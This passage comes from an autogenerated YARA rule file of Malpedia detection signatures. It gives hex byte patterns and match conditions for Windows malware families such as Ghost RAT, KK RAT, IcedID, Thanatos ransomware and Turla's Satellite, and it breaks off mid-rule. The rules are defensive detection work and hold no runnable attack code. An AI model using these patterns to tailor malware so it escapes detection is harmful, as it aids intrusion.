		$sequence_2 = { c3 8bff 55 8bec 8b4508 56 8d34c5d0504100 }
		$sequence_3 = { 668985fcfeffff 668985fefeffff 58 6a5c 66898500ffffff 58 6a63 }
		$sequence_4 = { 33c0 668985f0efffff 8d8504f1ffff 50 8d85c0efffff 50 56 }
		$sequence_5 = { 6aff ff7508 bbe9fd0000 50 53 ffd6 8bf8 }
		$sequence_6 = { ff35???????? 66898d76ffffff c745a04765744d 66c745a46f64 c645a675 66c745a86546 c645aa69 }
		$sequence_7 = { 58 6a5b 66894594 33c0 66894596 58 }
		$sequence_8 = { 50 ffd6 53 6a07 8d8d34feffff 51 53 }
		$sequence_9 = { 50 ff15???????? ffb568f4ffff ff15???????? 56 e8???????? 59 }
	condition:
		7 of them and filesize < 212992
}

rule MALPEDIA_Win_Taintedscribe_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f6a7e40a-4fa2-5a81-9780-0a7ba8af1fba"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.taintedscribe"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.taintedscribe_auto.yar#L1-L114"
		license_url = "N/A"
		logic_hash = "410c49d2a558db92d0096ecc5bd9fc38bcaad1e641a570b26cd7d6d98ec29d7e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bcf 0facd110 c1fa10 0fb65330 }
		$sequence_1 = { 5e 8be5 5d c20800 c7460c00000001 }
		$sequence_2 = { 8b5358 898d88fbffff 8b4b50 0f94c0 }
		$sequence_3 = { 8d5594 52 6a04 8d4590 50 56 }
		$sequence_4 = { 8bd7 8b7b40 0facc218 c1f818 8a4340 }
		$sequence_5 = { 8b4dcc 894308 8b45d0 50 }
		$sequence_6 = { 5b 5d c20c00 83f803 7574 }
		$sequence_7 = { 898da8fbffff 8d45e8 8985b4fcffff 8b433c 8bd0 8d4ddc }
		$sequence_8 = { 6a00 6a00 ff15???????? 85c0 7516 }
		$sequence_9 = { bb01000000 d3e3 33c0 85db 7e1e 8d4900 }
	condition:
		7 of them and filesize < 524288
}

rule MALPEDIA_Win_Thanatos_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "503a7f37-fd56-5eb4-8fd1-5ecbf912c720"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thanatos_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "a490fddf2b1c7ed46086686ac0e8278c90a6f240d56058a2bebac261ed9edf67"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 740a 8b45f8 83e007 3c05 751c 834714fc }
		$sequence_1 = { ff15???????? 03c0 50 53 ffb514fdffff 56 ff15???????? }
		$sequence_2 = { 8b856cffffff 8906 8b8570ffffff 8907 8b4dfc 5f 33cd }
		$sequence_3 = { 56 8d43fe 8bd1 33f6 57 8b7d08 }
		$sequence_4 = { 8d0449 8d0445981c0210 5d c3 8d04cd00000000 2bc1 8d0445c0390210 }
		$sequence_5 = { 2db8000000 81e6ff1f0000 03f0 0fb7047528f10110 6685c0 74c5 }
		$sequence_6 = { 6a00 c705????????00000000 c705????????00000000 ff15???????? 85c0 743e 8d85f0fdffff }
		$sequence_7 = { 66a1???????? 668945f8 a0???????? 83c420 8845fa 8d45f4 50 }
		$sequence_8 = { 0f8718010000 8b35???????? 68???????? 53 ffd6 85c0 }
		$sequence_9 = { 83e003 c1e004 5f 0fb68028850110 884101 5e }
	condition:
		7 of them and filesize < 1810432
}

rule MALPEDIA_Win_Icedid_Downloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7ee6583-0e42-548a-a503-976de56f1492"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid_downloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.icedid_downloader_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "3ad62116cc53f8a172c118313873b176a6f13aff503ffabc7e8b01bb236f4bad"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf0 8944241c 8d442408 50 6a08 6aff 885c241c }
		$sequence_1 = { 56 6a02 ff74241c ffd7 ff15???????? 83f87a 0f85e9000000 }
		$sequence_2 = { 8bf0 e8???????? 85f6 740c 8b4508 3b07 }
		$sequence_3 = { 83e801 740a 83e801 751c 80cb01 }
		$sequence_4 = { 56 68000000c0 ff7510 ff15???????? }
		$sequence_5 = { 8d442428 50 ff742438 ff15???????? 8d442440 50 68???????? }
		$sequence_6 = { 7821 395df8 741c 6a04 8d45f8 }
		$sequence_7 = { 8b08 50 ff5114 85c0 7404 33c0 }
		$sequence_8 = { 8b442418 8d542430 59 59 56 8b08 }
		$sequence_9 = { 896c241c 896c240c 896c2420 896c2438 895c2434 ff15???????? }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Arefty_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "00e4c323-1086-5d09-b0dc-b3d3486d1cb0"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.arefty"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.arefty_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "d90c0aff72ecb08f18ac74bec7d59a72670c6515429c6fde34529cd8bd03f3d6"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 57 e8???????? 83c404 83fbff 7407 53 }
		$sequence_1 = { 50 53 ff15???????? 680000a000 e8???????? 8bf8 }
		$sequence_2 = { 50 8b07 68???????? 6a03 8d04b0 50 e8???????? }
		$sequence_3 = { 8b07 68???????? 6a03 8d04b0 }
		$sequence_4 = { ff15???????? 680000a000 e8???????? 8bf8 }
		$sequence_5 = { ff15???????? 85ff 7409 57 e8???????? 83c404 83fbff }
		$sequence_6 = { 8b07 68???????? 6a03 8d04b0 50 e8???????? 46 }
		$sequence_7 = { 0fb6041e 50 8b07 68???????? 6a03 8d04b0 50 }
		$sequence_8 = { 50 53 ff15???????? 680000a000 e8???????? }
		$sequence_9 = { 0fb6041e 50 8b07 68???????? 6a03 }
	condition:
		7 of them and filesize < 237568
}

rule MALPEDIA_Win_Kk_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d3a867fb-765c-587c-976d-8b832133ea92"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kk_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kk_rat_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "f46ada63a222e5519816a10f8a2e3c2cfb8e81915e639c45c54d3595ef668e74"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8a4510 53 56 8bf1 57 8b7d08 8886d4000000 }
		$sequence_1 = { 8d85f4fdffff 68???????? 50 e8???????? 8d85f8feffff 50 8d85f4fdffff }
		$sequence_2 = { bb01000000 8b461c 83782c00 7421 8b4614 3bc2 761a }
		$sequence_3 = { 7524 a1???????? a3???????? a1???????? c705????????24961010 8935???????? }
		$sequence_4 = { 51 8b4508 b94d5a0000 66c7004d5a 663908 7404 33c0 }
		$sequence_5 = { ff15???????? 53 50 8985ecfdffff 899de8fdffff ff15???????? }
		$sequence_6 = { 741c 8d45cc 50 c745cc0b000000 c745f03ce51210 e8???????? 85c0 }
		$sequence_7 = { 885dda c78504ffffff5245475f c78508ffffff45585041 c7850cffffff4e445f53 66c78510ffffff5a00 c78574ffffff5245475f c78578ffffff44574f52 }
		$sequence_8 = { 897dfc 8b3d???????? ffd7 6a01 ff35???????? 8d8dbc60ffff ff35???????? }
		$sequence_9 = { 8bf1 837e1410 57 7202 8b0e 8b450c }
	condition:
		7 of them and filesize < 3516416
}

rule MALPEDIA_Win_Cueisfry_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0fc68627-9787-5873-a3fa-a9f7712605ab"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.cueisfry_auto.yar#L1-L117"
		license_url = "N/A"
		logic_hash = "c43c2b52de01a945341ae2efff0ffdd3edf0dcb4158573a62c18b687e85e4c2e"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? e8???????? 8d8c24b8050000 68???????? 51 }
		$sequence_1 = { 7517 8d8c24b0010000 68???????? 51 e8???????? }
		$sequence_2 = { c3 81ec24030000 a1???????? 8b0d???????? }
		$sequence_3 = { 8dbc2435010000 c684243401000000 68???????? f3ab 66ab 8d8c2438010000 51 }
		$sequence_4 = { 8bee 33ff 85c9 89542430 896c2410 0f8ebd010000 8d4103 }
		$sequence_5 = { b940000000 33c0 8dbc2435010000 c684243401000000 }
		$sequence_6 = { 6aff 68???????? 64a100000000 50 64892500000000 81eca8070000 }
		$sequence_7 = { 68???????? f3a5 50 e8???????? 8d4c2424 }
		$sequence_8 = { 68???????? 50 c744242401000000 c744242000010000 }
		$sequence_9 = { 51 8d442420 8bcc 89642430 50 c68424c401000003 }
	condition:
		7 of them and filesize < 81920
}

rule MALPEDIA_Win_Yanluowang_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4468bae4-7d21-5c9c-b3c6-a951c19ed833"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yanluowang"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yanluowang_auto.yar#L1-L127"
		license_url = "N/A"
		logic_hash = "7c2e1069418a1f62952d42a3190c40f6e9223a885e325767a86810d1579f3abb"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c745dc00010001 c745e000010001 c745e400010001 c745e800010001 e8???????? 83c40c }
		$sequence_1 = { 56 57 50 8d45f4 64a300000000 8995a4fdffff 898da0fdffff }
		$sequence_2 = { 33733c 334b30 335338 8bc1 0bce 33f7 23f8 }
		$sequence_3 = { 8b442438 336c2434 03d5 0fb6e8 c1e808 339cae00040000 33d8 }
		$sequence_4 = { c744242c00000000 8bc3 b902000000 f7f6 807c241300 8bf0 8b442418 }
		$sequence_5 = { 7402 890b 3355e8 8d4808 85c9 7402 }
		$sequence_6 = { 0fbe41ff 8d04c528984400 ebbd 8a11 }
		$sequence_7 = { ebdf c745e4b4a44400 c745e803000000 ebcf c745e4b8a44400 ebbf c745e4c0a44400 }
		$sequence_8 = { 0f87f4010000 0fb680bbc94200 ff24859fc94200 8365e400 8d4de4 8365e800 6a7b }
		$sequence_9 = { ff742418 6a00 6a00 6a04 6a01 }
	condition:
		7 of them and filesize < 834560
}

rule MALPEDIA_Win_Agendacrypt_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4966f69d-c40f-52c7-ab6b-916949adbb8d"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.agendacrypt_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "0e351b6d1fd5e325b27b4cca5ef7ee4f990f5eb0183c139b2c6519ec640c4f6c"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? 85c0 0f8409010000 f30f7e05???????? 0f280d???????? 89442428 c744243404000000 }
		$sequence_1 = { 8b75d4 89500c 85f6 7516 eb38 8b45e8 8b5804 }
		$sequence_2 = { 89c3 81fba3030000 8955d8 0f84e9000000 660f1f840000000000 81fb00001100 0f8420ffffff }
		$sequence_3 = { 8d4c2424 8d542470 e8???????? e9???????? b9???????? eb63 c744247006000000 }
		$sequence_4 = { 8d4dec e8???????? 8b55f4 8b45ec 66c7045000ff 42 8955f4 }
		$sequence_5 = { e8???????? 837dcc02 7211 a1???????? ff75d0 6a00 ff30 }
		$sequence_6 = { e8???????? 8b7de8 8b75f0 8b4510 66c704772200 46 8975f0 }
		$sequence_7 = { c745d000000000 8945f0 8d45f0 c745f490b04100 8945d8 c745dc01000000 8d45c8 }
		$sequence_8 = { c1c20e 894dc0 8b4db4 c1c619 31d0 89fa 31f0 }
		$sequence_9 = { f20f1145b0 894db8 742c f20f1045bc f20f104dc4 f20f114de4 f20f1145dc }
	condition:
		7 of them and filesize < 3340288
}

rule MALPEDIA_Win_Ghost_Rat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a5c1e7c4-1b2d-598f-9f4c-addb333c7981"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ghost_rat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ghost_rat_auto.yar#L1-L313"
		license_url = "N/A"
		logic_hash = "1382f8506f533271928000e01179914edf911c946385102a130b99bae8ad91d3"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bd9 e8???????? 8b4d08 3bc8 }
		$sequence_1 = { 8b400c 85c0 7505 a1???????? 50 8bce e8???????? }
		$sequence_2 = { 6a01 56 ff15???????? 5e c20800 }
		$sequence_3 = { 33c0 5b 8be5 5d c20400 894df4 }
		$sequence_4 = { c745f800000000 df6df4 83ec08 dc0d???????? }
		$sequence_5 = { c20400 894df4 c745f800000000 df6df4 }
		$sequence_6 = { 6a6b 8bce e8???????? 5f 5e }
		$sequence_7 = { 68???????? 50 6802000080 e8???????? 83c41c 5f 5e }
		$sequence_8 = { 68???????? 68???????? 6a00 6a00 c705????????20010000 e8???????? 8b35???????? }
		$sequence_9 = { e8???????? 8b8e549f0000 83c41c 89848e14030000 }
		$sequence_10 = { e8???????? 83c40c ff7508 6a40 ff15???????? }
		$sequence_11 = { ff7510 ff75dc ff15???????? 85c0 7507 }
		$sequence_12 = { e9???????? 8d45dc 50 681f000200 }
		$sequence_13 = { f7d1 49 7509 5f 5e 5b }
		$sequence_14 = { 83c408 e8???????? c1e00a 6a04 }
		$sequence_15 = { e8???????? 6a6f 8bce e8???????? 5e }
		$sequence_16 = { 8dbd85feffff f3ab 66ab aa }
		$sequence_17 = { 83c12c e9???????? 8b4df0 83c154 e9???????? 8b4df0 83c17c }
		$sequence_18 = { 8d4e10 e8???????? 6a6b 8bce }
		$sequence_19 = { 8365fc00 ff7508 ff15???????? 40 50 ff15???????? 59 }
		$sequence_20 = { e8???????? 84c0 7505 83ceff eb2c }
		$sequence_21 = { 89849614030000 8b86549f0000 40 8986549f0000 }
		$sequence_22 = { 6a00 ff7628 ff15???????? 6a01 ff7620 ff15???????? 8b4e04 }
		$sequence_23 = { 8bce ff75e8 e8???????? 8bce e8???????? 6a00 }
		$sequence_24 = { ff15???????? 6800000002 6a00 6a00 ff15???????? }
		$sequence_25 = { 6a00 6a00 6838040000 6a00 6a00 }
		$sequence_26 = { 83e9fc c7014c696272 83e9fc c70161727941 83e9fc c70100000000 }
		$sequence_27 = { 8b4608 8b7e20 8b36 813f6b006500 7406 813f4b004500 75e8 }
		$sequence_28 = { ff8b8d60ffff ff03 0c90 898df4feffff }
		$sequence_29 = { 8b4df0 51 8b9558ffffff 52 8b8560ffffff 50 }
		$sequence_30 = { 83c40c c7856cffffff00000000 eb0f 8b8d6cffffff 83c101 }
		$sequence_31 = { 03480c 894dc0 8b55c0 52 8b450c }
		$sequence_32 = { 8d9530ffffff 52 6a40 8b4580 }
		$sequence_33 = { 8b423c 8945ec 8b8d58ffffff 034dec }
	condition:
		7 of them and filesize < 357376
}

rule MALPEDIA_Win_Unidentified_006_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "97d4c257-a67c-55d3-ab2d-8345f8133abc"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_006"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_006_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "e5d463a76ca11d9b4f7e0289dbf185a64b45114b95835b2526afa161b71d15ae"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 817c0afc54494b46 750c 83c2fc e8???????? }
		$sequence_1 = { 83c603 25ff000000 30041a 42 3bd1 72df }
		$sequence_2 = { 7410 8b55f4 85d2 7409 e8???????? }
		$sequence_3 = { 59 84db 750d 85f6 7416 56 e8???????? }
		$sequence_4 = { 85db 0f840a010000 56 ff75ec }
		$sequence_5 = { 1bc0 23f8 0fb6875c204000 47 03c6 83c603 }
		$sequence_6 = { 56 e8???????? 59 eb0d 8b45e8 8b4d08 }
		$sequence_7 = { 85c0 7529 8b4dfc 85c9 }
		$sequence_8 = { 832600 832700 6a06 ebba }
		$sequence_9 = { 50 ff75ec 8bfb ff15???????? 85c0 }
	condition:
		7 of them and filesize < 40960
}

rule MALPEDIA_Win_Thanatos_Ransom_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "36dfbc1b-2a7c-5015-aa84-898c9ae8a989"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.thanatos_ransom"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.thanatos_ransom_auto.yar#L1-L123"
		license_url = "N/A"
		logic_hash = "0a185fa4c8cc02cde8300ce206abe6802953ff20e929d9c3889dfecd7dc1e60f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 837f1410 7240 8b4714 8b0f 40 3d00100000 722a }
		$sequence_1 = { 50 e8???????? 83ec18 c645fc13 8bcc c741140f000000 c7411000000000 }
		$sequence_2 = { f20f591c8580e94200 f20f592c8580e94200 03c0 660f58348590ed4200 660f5625???????? f20f58f0 }
		$sequence_3 = { 6bc930 f6451402 8b0485e0774300 c644082900 }
		$sequence_4 = { c64405e800 40 83f804 7cef 33f6 0f1f440000 8a4435e8 }
		$sequence_5 = { c645fc14 8d4dd8 e8???????? 83c404 68???????? 8bd0 }
		$sequence_6 = { 8b7508 8bce 68b8020000 68???????? c745fc00000000 }
		$sequence_7 = { e8???????? 83c404 c645fc12 8b45ec c745d40f000000 c745d000000000 c645c000 }
		$sequence_8 = { 43 837e1410 7204 8b06 eb02 }
		$sequence_9 = { 83f81d 7cf1 eb07 8b0cc544be4200 894de4 }
	condition:
		7 of them and filesize < 516096
}

rule MALPEDIA_Win_Bee_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "a6f6643e-0c7d-5aa3-acb3-5d655dc4ed63"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bee"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bee_auto.yar#L1-L124"
		license_url = "N/A"
		logic_hash = "d470260abf875100cc9eec94a5fc9a99328d8a9951c079ae2b41e9596561de11"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 68???????? c706???????? 895618 6689461c 66894e1e ff15???????? }
		$sequence_1 = { 3bee 7462 8a46b4 83ee50 83ef50 884704 }
		$sequence_2 = { 83c404 8b8534ffffff 8d0cb6 8d1492 c1e104 03c8 }
		$sequence_3 = { b8???????? e8???????? 8b15???????? 3bd3 7504 33c9 }
		$sequence_4 = { ebc9 8bc8 c1f905 8d1c8d00534200 8bf8 83e71f c1e706 }
		$sequence_5 = { ffd0 8b4c2410 64890d00000000 59 5f 5e 83c410 }
		$sequence_6 = { e8???????? 83c404 8b4e7c 51 899e88000000 899e8c000000 899e90000000 }
		$sequence_7 = { 50 8d4c2438 51 8d4c2444 }
		$sequence_8 = { 8d442440 64a300000000 8bf9 833d????????10 a1???????? }
		$sequence_9 = { 7639 0fb654240c 0fb644240d 0fb6c9 034c2414 03c2 }
	condition:
		7 of them and filesize < 394240
}

rule MALPEDIA_Win_Satellite_Turla_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "db4c3339-c415-5711-a90e-cee07a736590"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satellite_turla"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.satellite_turla_auto.yar#L1-L159"
		license_url = "N/A"
		logic_hash = "1f8986d8ff44bcaea791aed8e9d7780e6a84fb5d73ce994c684beebfa03d07bc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0108 833e00 7c1f 8b542410 }
		$sequence_1 = { 0105???????? 81c3b0020000 2945e0 75ae 837dd400 }
		$sequence_2 = { 0105???????? 83c410 29442418 75a9 }
		$sequence_3 = { 0108 833e00 7fc7 db46fc }
		$sequence_4 = { 0105???????? 83c410 29442420 75aa }
		$sequence_5 = { 0108 833a00 7c23 8b442428 }
		$sequence_6 = { 51 8d951cffffff 52 eb2b 8b4d20 }
		$sequence_7 = { 0108 833e00 7cc7 7e39 }
		$sequence_8 = { 66ab aa 8b3d???????? 8d85f0feffff 56 }
		$sequence_9 = { ffd7 53 56 ff15???????? 6a02 53 56 }
		$sequence_10 = { ff15???????? ff45fc 817dfc88130000 7cb7 }
		$sequence_11 = { c645d205 c645d337 c645d418 c645d51d c645d614 c645d722 }
		$sequence_12 = { e8???????? ff75fc 8945f8 53 50 e8???????? }
		$sequence_13 = { 57 ffd6 a3???????? 6a71 8d45d0 }
		$sequence_14 = { c645b816 c645b927 c645ba30 c645bb34 c645bc21 c645bd30 }
		$sequence_15 = { 8d45c4 885dcf 50 57 }
	condition:
		7 of them and filesize < 1040384
}

rule MALPEDIA_Win_Tropidoor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8fc3955f-94d9-559f-8d24-ed4a0dad546e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tropidoor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tropidoor_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "0cca80e99bb2477fcd1d7242d291a5d298649d488754cf8d2858779b90f27265"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488b8d88010000 488b01 ff5010 488b8d80010000 e9???????? 6644897508 897510 }
		$sequence_1 = { ff15???????? 0fb74c2420 b8b2070000 663bc8 731a ba01000000 }
		$sequence_2 = { 488d9520020000 498bcf e8???????? 4d8b8598000000 4d85c0 0f84a2000000 ba04010000 }
		$sequence_3 = { ffd0 85c0 7564 8b459c 83c0fe 413bc5 7725 }
		$sequence_4 = { 488bcb ff15???????? 418bc4 4883c470 415e 415c 5f }
		$sequence_5 = { ff15???????? e9???????? 8b542478 4c8d8510050000 c744243002000000 488d8db0000000 897c2428 }
		$sequence_6 = { 33d2 41b801010000 e8???????? 418bc6 4d8d4c2410 4c8d1d75920300 41be04000000 }
		$sequence_7 = { 83ff01 0f85d2000000 84c0 740a 458b949b3cb90a00 eb08 458b949b04b90a00 }
		$sequence_8 = { 8b8c8220060200 4803ca ffe1 488b4c2430 418bc4 488b0cc1 48894c2458 }
